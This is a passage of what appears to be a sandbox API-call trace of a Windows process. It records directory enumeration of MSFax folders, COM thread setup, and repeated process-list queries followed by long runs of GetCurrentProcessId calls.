ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Inbox", cAlternateFileName="")) returned 1 [0226.420] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Queue", cAlternateFileName="")) returned 1 [0226.421] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SentItems", cAlternateFileName="SENTIT~1")) returned 1 [0226.421] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd313219, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 1 [0226.421] FindNextFileW (in: hFindFile=0x1d1f4330, lpFindFileData=0x1b0bb940 | out: lpFindFileData=0x1b0bb940*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.421] FindClose (in: hFindFile=0x1d1f4330 | out: hFindFile=0x1d1f4330) returned 1 [0226.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbba0) returned 1 [0226.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bbb60) returned 1 [0226.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bb4b0) returned 1 [0226.422] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog", nBufferLength=0x105, lpBuffer=0x1b0baf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog", lpFilePart=0x0) returned 0x39 [0226.422] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\activitylog\\*"), lpFindFileData=0x1b0bb1c0 | out: lpFindFileData=0x1b0bb1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4450 [0257.205] CoUninitialize () Thread: id = 188 os_tid = 0xc14 Thread: id = 189 os_tid = 0xc18 [0173.954] CoGetContextToken (in: pToken=0x1b1bfaa0 | out: pToken=0x1b1bfaa0) returned 0x0 [0173.954] IUnknown:QueryInterface (in: This=0x77dd40, riid=0x7ffb02934998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b1bfad8 | out: ppvObject=0x1b1bfad8*=0x77dd58) returned 0x0 [0173.954] IComThreadingInfo:GetCurrentThreadType (in: This=0x77dd58, pThreadType=0x1b1bfb48 | out: pThreadType=0x1b1bfb48*=0) returned 0x0 [0173.955] IUnknown:Release (This=0x77dd58) returned 0x1 Thread: id = 191 os_tid = 0xc6c [0156.281] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0156.281] RoInitialize () returned 0x1 [0156.282] RoUninitialize () returned 0x0 [0156.640] CoUninitialize () Thread: id = 193 os_tid = 0xc70 [0157.774] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0157.774] RoInitialize () returned 0x1 [0157.774] RoUninitialize () returned 0x0 [0157.796] CoUninitialize () Thread: id = 194 os_tid = 0xc78 [0159.652] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0159.652] RoInitialize () returned 0x1 [0159.652] RoUninitialize () returned 0x0 [0159.661] CoUninitialize () Thread: id = 195 os_tid = 0xc7c [0160.611] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0160.611] RoInitialize () returned 0x1 [0160.611] RoUninitialize () returned 0x0 [0160.680] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c060) returned 0x0 [0160.724] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.728] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.729] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.730] GetCurrentProcessId () returned 0xbf4 [0160.731] GetCurrentProcessId () returned 0xbf4 [0160.731] GetCurrentProcessId () returned 0xbf4 [0161.258] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c060) returned 0x0 [0161.772] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c060) returned 0x0 [0162.293] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c0b0) returned 0x0 [0162.853] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c060) returned 0x0 [0163.381] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c010) returned 0x0 [0163.388] GetCurrentProcessId () returned 0xbf4 [0163.388] GetCurrentProcessId () returned 0xbf4 [0163.388] GetCurrentProcessId () returned 0xbf4 [0163.388] GetCurrentProcessId () returned 0xbf4 [0163.388] GetCurrentProcessId () returned 0xbf4 [0163.388] GetCurrentProcessId () returned 0xbf4 [0163.388] GetCurrentProcessId () returned 0xbf4 [0163.388] GetCurrentProcessId () returned 0xbf4 [0163.388] GetCurrentProcessId () returned 0xbf4 [0163.388] GetCurrentProcessId () returned 0xbf4 [0163.388] GetCurrentProcessId () returned 0xbf4 [0163.388] GetCurrentProcessId () returned 0xbf4 [0163.388] GetCurrentProcessId () returned 0xbf4 [0163.388] GetCurrentProcessId () returned 0xbf4 [0163.388] GetCurrentProcessId () returned 0xbf4 [0163.388] GetCurrentProcessId () returned 0xbf4 [0163.388] GetCurrentProcessId () returned 0xbf4 [0163.388] GetCurrentProcessId () returned 0xbf4 [0163.388] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.389] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.390] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.391] GetCurrentProcessId () returned 0xbf4 [0163.896] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c0b0) returned 0x0 [0163.907] GetCurrentProcessId () returned 0xbf4 [0163.907] GetCurrentProcessId () returned 0xbf4 [0163.907] GetCurrentProcessId () returned 0xbf4 [0163.907] GetCurrentProcessId () returned 0xbf4 [0163.907] GetCurrentProcessId () returned 0xbf4 [0163.907] GetCurrentProcessId () returned 0xbf4 [0163.907] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.908] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.909] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.910] GetCurrentProcessId () returned 0xbf4 [0163.911] GetCurrentProcessId () returned 0xbf4 [0163.911] GetCurrentProcessId () returned 0xbf4 [0163.911] GetCurrentProcessId () returned 0xbf4 [0163.911] GetCurrentProcessId () returned 0xbf4 [0163.911] GetCurrentProcessId () returned 0xbf4 [0163.911] GetCurrentProcessId () returned 0xbf4 [0163.911] GetCurrentProcessId () returned 0xbf4 [0163.911] GetCurrentProcessId () returned 0xbf4 [0163.911] GetCurrentProcessId () returned 0xbf4 [0163.911] GetCurrentProcessId () returned 0xbf4 [0163.911] GetCurrentProcessId () returned 0xbf4 [0163.911] GetCurrentProcessId () returned 0xbf4 [0163.912] GetCurrentProcessId () returned 0xbf4 [0163.912] GetCurrentProcessId () returned 0xbf4 [0163.912] GetCurrentProcessId () returned 0xbf4 [0163.912] GetCurrentProcessId () returned 0xbf4 [0163.912] GetCurrentProcessId () returned 0xbf4 [0164.426] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c1f0) returned 0x0 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.439] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.440] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.441] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.442] GetCurrentProcessId () returned 0xbf4 [0164.443] GetCurrentProcessId () returned 0xbf4 [0164.443] GetCurrentProcessId () returned 0xbf4 [0164.443] GetCurrentProcessId () returned 0xbf4 [0164.443] GetCurrentProcessId () returned 0xbf4 [0164.443] GetCurrentProcessId () returned 0xbf4 [0164.443] GetCurrentProcessId () returned 0xbf4 [0164.443] GetCurrentProcessId () returned 0xbf4 [0164.960] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1bf70) returned 0x0 